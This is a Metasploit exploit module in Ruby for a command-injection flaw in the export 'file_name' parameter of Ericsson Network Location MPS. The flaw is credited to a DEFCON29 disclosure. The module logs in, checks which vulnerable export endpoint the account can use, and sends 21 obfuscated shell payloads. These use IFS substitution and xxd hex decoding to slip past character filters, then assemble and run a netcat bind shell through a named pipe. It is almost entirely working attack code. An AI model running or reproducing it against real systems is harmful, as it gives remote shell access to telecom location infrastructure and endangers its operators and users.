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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)', 'Description'=> %q( This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems. The "export" feature in various parts of the application is vulnerable. It is a feature made for the information in the tables to be exported to the server and imported later when required. Export operations contain "file_name" parameter. This parameter is assigned as a variable between the server commands on the backend side. It allows command injection with preventions bypass operation. "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" /////// This 0day has been published at DEFCON29-PHV Village. /////// ), 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2021-'], ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'], ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] ], 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, 'Space' => 512, 'Compat'=> { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'WfsDelay' => 600, 'RPORT' => 10083, 'SSL' => true, 'PAYLOAD' => 'cmd/unix/bind_netcat' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [['Ericsson NLG', {}]], 'DisclosureDate' => 'Apr 21 2021', 'DefaultTarget'=> 0) ) register_options [ OptString.new('USERNAME',[true, 'NLG Username']), OptString.new('PASSWORD',[true, 'NLG Password']), OptString.new('TARGETURI',[true, 'Base path for NLG application', '/']) ] end ###################################################### # # There are a total of 20 vulnerable areas. # These areas are located in cells,psap,numbering,smpp fields. # One request for each of these fields has been used for exploitation. # These are listed below. # # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1 # ###################################################### # for Origin and Referer headers def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end def cluster res = send_request_cgi({ # clusters information to API directories 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), 'method'=> 'GET' }) if res && res.code == 200 && res.body =~ /version/ cls_version = split(res.body, "version") cls_node_type = split(res.body, "node_type") cls_name = split(res.body, "cluster_name") cls_id = cls_version + "-" + cls_node_type + "-" + cls_name return cls_version, cls_node_type, cls_name, cls_id else fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') end end def permission_check(token) # By giving numbers to the vulnerable areas, we can easily use them in JSON format. json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' parse = JSON.parse(json_urls) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 6 do link = parse["#{i}"] i +=1 # The cells export operation returns 409 response when frequent requests are made. # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. if link == "/cells/gsm/cgi_cells/" sleep(7) end filename = Rex::Text.rand_text_alpha_lower(6) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 403 then # !200 next elsif res && res.code == 200 return link, true elsif res && res.code == 400 return link, true elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. return "no link", false end end end def check # check connection and login token = login(datastore['USERNAME'], datastore['PASSWORD']) res = send_request_cgi({ # product information check 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 200 && res.body =~ /version/ version = split(res.body, "version") pnumber = split(res.body, "product_number") print_status("Product Number:#{pnumber} - Version:#{version}") return CheckCode::Appears else return CheckCode::Safe end end def login(user, pass) json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' res = send_request_cgi( { 'method' => 'POST', 'ctype'=> 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ auth_token = split(res.body, "authToken") return auth_token else fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') end end def prep_payloads(token, link) fifo = Rex::Text.rand_text_alpha_lower(4) #/ = 2F - y #; = 3B - z #| = 7C - p #>&= 3E26 - v #>/= 3E2F - g #> = 3E - k #< = 3C - c #' = 27 - t #$ = 24 - d #\ = 5C - b #! = 21 - u #" = 22 - x #( = 28 - m #) = 29 - i #, = 2C - o #_ = 5F - a # echo <code>xxd -r -p <<< 2F</code>>y payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F</code>>y&&pwd>fl") +'", ' # echo <code>xxd -r -p <<< 3B</code>>z payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B</code>>z&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 7C</code>>p payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C</code>>p&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E26</code>>v payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26</code>>v&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E</code>>k payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E</code>>k&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 27</code>>t payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27</code>>t&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 24</code>>d payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24</code>>d&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5C</code>>b payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C</code>>b&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 21</code>>u payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21</code>>u&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 22</code>>x payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22</code>>x&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 28</code>>m payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28</code>>m&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 29</code>>i payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29</code>>i&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 2C</code>>o payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C</code>>o&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5F</code>>a payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F</code>>a&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3C</code>>c payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C</code>>c&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E2F</code>>g payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F</code>>g&&pwd>fl") +'", ' #echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1 payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}<code>cat${IFS}z</code>${IFS}<code>cat${IFS}m</code>nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}<code>cat${IFS}p</code><code>cat${IFS}p</code>nc${IFS}-l${IFS}#{datastore['LPORT']}<code>cat${IFS}i</code>0<code>cat${IFS}c</code>>p1&&pwd>fl") +'", ' #echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2 payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}${IFS}<code>cat${IFS}p</code>${IFS}<code>cat${IFS}y</code>bin<code>cat${IFS}y</code>sh${IFS}<code>cat${IFS}g</code>tmp<code>cat${IFS}y</code>#{fifo}${IFS}2<code>cat${IFS}v</code>1<code>cat${IFS}z</code>${IFS}rm${IFS}<code>cat${IFS}y</code>tmp<code>cat${IFS}y</code>#{fifo}>p2&&pwd>fl") +'", ' #echo <code>cat p1</code> <code>cat p2</code> > 1.sh payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}p1</code>${IFS}<code>cat${IFS}p2</code>>1.sh&&pwd>fl") +'", ' #chmod +x 1.sh payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", ' #sh 1.sh payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}' if link == "/cells/gsm/cgi_cells/" print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") end parse = JSON.parse(payloads) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 21 do pay = parse["#{i}"] i +=1 if link == "/cells/gsm/cgi_cells/" sleep(7) end send_payloads(cls_id, cls_node_type, token, link, pay) end end def send_payloads(id, type, token, link, pay) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) unless true == permission_check(auth_token)[1] fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') else perm_link = permission_check(auth_token)[0] print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") end prep_payloads(auth_token, perm_link) end end |
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